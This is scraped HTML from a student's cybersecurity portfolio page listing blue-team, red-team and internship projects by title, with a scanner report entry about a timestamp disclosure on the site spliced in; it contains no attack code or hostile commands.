</div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal33" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal34" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal35" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal36" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal37" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal38" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal39" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal40" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <script data-cfasync="false" src="/cdn-cgi/scripts/5c5dd728/cloudflare-static/email-decode.min.js"></script><script src="vendor/jquery/jquery.min.js"></script> <script src="vendor/bootstrap/js/bootstrap.bundle.min.js"></script> <script src="vendor/jquery-easing/jquery.easing.min.js"></script> <script src="js/jqBootstrapValidation.js"></script> <script src="js/contact_me.js"></script> <script src="js/agency.min.js"></script> <script src="https://cdn.jsdelivr.net/gh/google/code-prettify@master/loader/run_prettify.js"></script> </body> </html>Evidence 000613396Solution Manually confirm that the timestamp data is not sensitive, and that the data cannot be aggregated to disclose exploitable patterns.
GET https://beekmans.dev
Alert tags Alert description A timestamp was disclosed by the application/web server - Unix
Other info 080804898, which evaluates to: 1972-07-24 06:48:18
Request Request line and header section (192 bytes)
GET https://beekmans.dev HTTP/1.1 Host: beekmans.dev User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:82.0) Gecko/20100101 Firefox/82.0 Pragma: no-cache Cache-Control: no-cacheRequest body (0 bytes)
Response Status line and header section (1047 bytes)
HTTP/1.1 200 OK Date: Mon, 06 Dec 2021 09:55:11 GMT Content-Type: text/html; charset=UTF-8 Connection: keep-alive vary: Accept-Encoding content-security-policy: default-src 'self' http: https: data: blob: 'unsafe-inline' x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block x-content-type-options: nosniff referrer-policy: no-referrer-when-downgrade strict-transport-security: max-age=31536000; includeSubDomains; preload CF-Cache-Status: DYNAMIC Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct" Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=4lOrbKK8y%2Bn8QLhKEGpB7rePrCHT1J%2BQaOZJP06h5%2BW2GkK9CRq%2Fdn7ChLzJzoJLiDaKfMYCpMPOGx7ddQ5eVNaVcohEeYRecx%2BV4c%2BapqYy04o6ANFaN3V3sF2rfmk%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 6b94a31e5f8a4c13-AMS alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400Response body (178340 bytes)
<!DOCTYPE html> <html lang="en"> <head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <meta name="description" content=""> <meta name="author" content=""> <title>Cyber portfolio</title> <link href="vendor/bootstrap/css/bootstrap.min.css" rel="stylesheet"> <link href="vendor/fontawesome-free/css/all.min.css" rel="stylesheet" type="text/css"> <link href="https://fonts.googleapis.com/css?family=Montserrat:400,700" rel="stylesheet" type="text/css"> <link href='https://fonts.googleapis.com/css?family=Kaushan+Script' rel='stylesheet' type='text/css'> <link href='https://fonts.googleapis.com/css?family=Droid+Serif:400,700,400italic,700italic' rel='stylesheet' type='text/css'> <link href='https://fonts.googleapis.com/css?family=Roboto+Slab:400,100,300,700' rel='stylesheet' type='text/css'> <link href="css/agency.min.css" rel="stylesheet"> </head> <body id="page-top"> <nav class="navbar navbar-expand-lg navbar-dark fixed-top" id="mainNav"> <div class="container"> <a class="navbar-brand js-scroll-trigger" href="#page-top">Cyber security</a> <button class="navbar-toggler navbar-toggler-right" type="button" data-toggle="collapse" data-target="#navbarResponsive" aria-controls="navbarResponsive" aria-expanded="false" aria-label="Toggle navigation"> Menu <i class="fas fa-bars"></i> </button> <div class="collapse navbar-collapse" id="navbarResponsive"> <ul class="navbar-nav text-uppercase ml-auto"> <li class="nav-item"> <a class="nav-link js-scroll-trigger" href="#services">Services</a> </li> <li class="nav-item"> <a class="nav-link js-scroll-trigger" href="#portfolio">Portfolio</a> </li> <li class="nav-item"> <a class="nav-link js-scroll-trigger" href="#about">About</a> </li> <li class="nav-item"> <a class="nav-link js-scroll-trigger" href="#team">Team</a> </li> <li class="nav-item"> <a class="nav-link js-scroll-trigger" href="#contact">Contact</a> </li> </ul> </div> </div> </nav> <header class="masthead"> <div class="container"> <div class="intro-text"> <div class="intro-lead-in">Welcome To My Portfolio!</div> <div class="intro-heading text-uppercase">It's Nice To Meet You</div> <a class="btn btn-primary btn-xl text-uppercase js-scroll-trigger" href="#services">Tell Me More</a> </div> </div> </header> <section id="services"> <div class="container"> <div class="row"> <div class="col-lg-12 text-center"> <h2 class="section-heading text-uppercase">Introduction</h2> <h3 class="section-subheading text-muted">My project.</h3> </div> </div> <div class="row text-center"> <div class="col-md-4"> <span class="fa-stack fa-4x"> <i class="fas fa-circle fa-stack-2x text-primary"></i> <i class="fas fa-shopping-cart fa-stack-1x fa-inverse"></i> </span> <h4 class="service-heading">Environment</h4> <p class="text-muted">I'm using my own Hyper visor (Microsoft's Hyper-V) on a private server in my home. I can connect via a VPN that's also running on this server to my home network to remotely manage the server and manage and deploy VM's. The server is an old DELL T310 with a Xeon x3440, 24GB ddr3 registered ecc 1333mhz memory and all VM's are installed on a Crucial MX500 ssd. The server is part of the home network just like every other computer in my home.</p> </div> <div class="col-md-4"> <span class="fa-stack fa-4x"> <i class="fas fa-circle fa-stack-2x text-primary"></i> <i class="fas fa-laptop fa-stack-1x fa-inverse"></i> </span> <h4 class="service-heading">Context</h4> <p class="text-muted">The network I'm building has as focus a webhosting company with some onsite employee's maybe a place for guests and some webservers hosting different websites.</p> </div> <div class="col-md-4"> <span class="fa-stack fa-4x"> <i class="fas fa-circle fa-stack-2x text-primary"></i> <i class="fas fa-lock fa-stack-1x fa-inverse"></i> </span> <h4 class="service-heading">Security</h4> <p class="text-muted">The network is secured by separating the webservers from the employees and guests on their own VLAN. The network is protected by a pfsense router running custom firewalls for every interface and running Surricata to identify and block possible threats.</p> </div> </div> </div> </section> <section class="bg-light" id="portfolio"> <div class="container"> <div class="row"> <div class="col-lg-12 text-center"> <h2 class="section-heading text-uppercase">Portfolio</h2> <h3 class="section-subheading text-muted">Cyber security.</h3> </div> </div> <div class="row"> <div class="col-lg-12 text-center"> <h4 class="section-subheading text-muted">Blue teaming semester</h4> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal1"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/blue/01-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S3</h4> <p class="text-muted">Self assessment week 1</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal2"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid portfolio-image" src="img/portfolio/blue/02-thumbnail.gif" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S3</h4> <p class="text-muted">Network diagram V1</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal3"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/blue/03-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S3</h4> <p class="text-muted">Network diagram V2</p> </div> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal4"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/blue/04-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S3</h4> <p class="text-muted">Secure connections</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal5"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/blue/05-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S3</h4> <p class="text-muted">IDS/IPS</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal6"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/blue/06-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S3</h4> <p class="text-muted">Information Security and Risk Analysis</p> </div> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal7"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/blue/07-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S3</h4> <p class="text-muted">IT Monitoring</p> </div> </div> </div> <div class="row"> <div class="col-lg-12 text-center"> <h4 class="section-subheading text-muted">Red teaming semester</h4> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal8"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/red/08-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S4</h4> <p class="text-muted">SQL injection</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal9"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/red/09-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S4</h4> <p class="text-muted">Command injection</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal10"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/red/10-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S4</h4> <p class="text-muted">Cross-site scripting</p> </div> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal11"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/red/11-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S4</h4> <p class="text-muted">Cross-site request forgery</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal12"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/red/12-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S4</h4> <p class="text-muted">Path traversal</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal13"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/red/13-thumbnail.jpeg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S4</h4> <p class="text-muted">Password cracking</p> </div> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal14"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/red/14-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S4</h4> <p class="text-muted">Network scanning and enumeration</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal15"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/red/15-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S4</h4> <p class="text-muted">Network sniffing and spoofing</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal16"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/red/16-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S4</h4> <p class="text-muted">Law, Ethics and Responsible Disclosure</p> </div> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal17"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/red/17-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S4</h4> <p class="text-muted">Basic hacking process</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal18"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/red/18-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S4</h4> <p class="text-muted">Self reflection</p> </div> </div> </div> <div class="row"> <div class="col-lg-12 text-center"> <h4 class="section-subheading text-muted">Internship</h4> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal19"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/internship/19-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S5</h4> <p class="text-muted">My internship</p> </div> </div> </div> <div class="row"> <div class="col-lg-12 text-center"> <h4 class="section-subheading text-muted">Minor</h4> </div> </div> <div class="row"> <div class="col-lg-12 text-center"> <h5 class="section-subheading text-muted">Red teaming specialisation</h5> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal20"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/20-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Pentesting methods</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal21"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/21&22&31-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">HTB Linux write-up</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal22"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/21&22&31-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">HTB Windows write-up</p> </div> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal23"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/23-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Red VS Blue Event</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal24"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/24&28&29&30-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Vulnerability analysis session</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal25"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/25-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Personal pen-test toolbox</p> </div> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal26"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/26-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Security of IOT protocols and technology</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal27"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/27-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Pen-test at COMPANY_NAME_HERE</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal28"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/24&28&29&30-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Vulnerability analysis on a smartphone app</p> </div> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal29"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/24&28&29&30-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Vulnerability analysis on a website</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal30"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/24&28&29&30-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Vulnerability analysis on a device</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal31"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/21&22&31-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Organize a weekly Hack The Box event</p> </div> </div> </div> <div class="row"> <div class="col-lg-12 text-center"> <h5 class="section-subheading text-muted">Blue teaming specialisation</h5> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal32"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/blue/32-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Red VS Blue Event</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal33"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/blue/33&37-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">IDS technologies</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal34"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/blue/34-thumbnail.svg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Monitoring technologies</p> </div> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal35"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/blue/35-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">SIEM technologies</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal36"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/blue/36-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Threat use cases</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal37"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/blue/33&37-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Developing and tuning an IDS</p> </div> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal38"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/blue/38-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Setting up a SOC</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal39"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/blue/39-thumbnail.jpg" alt=""> </a> <div 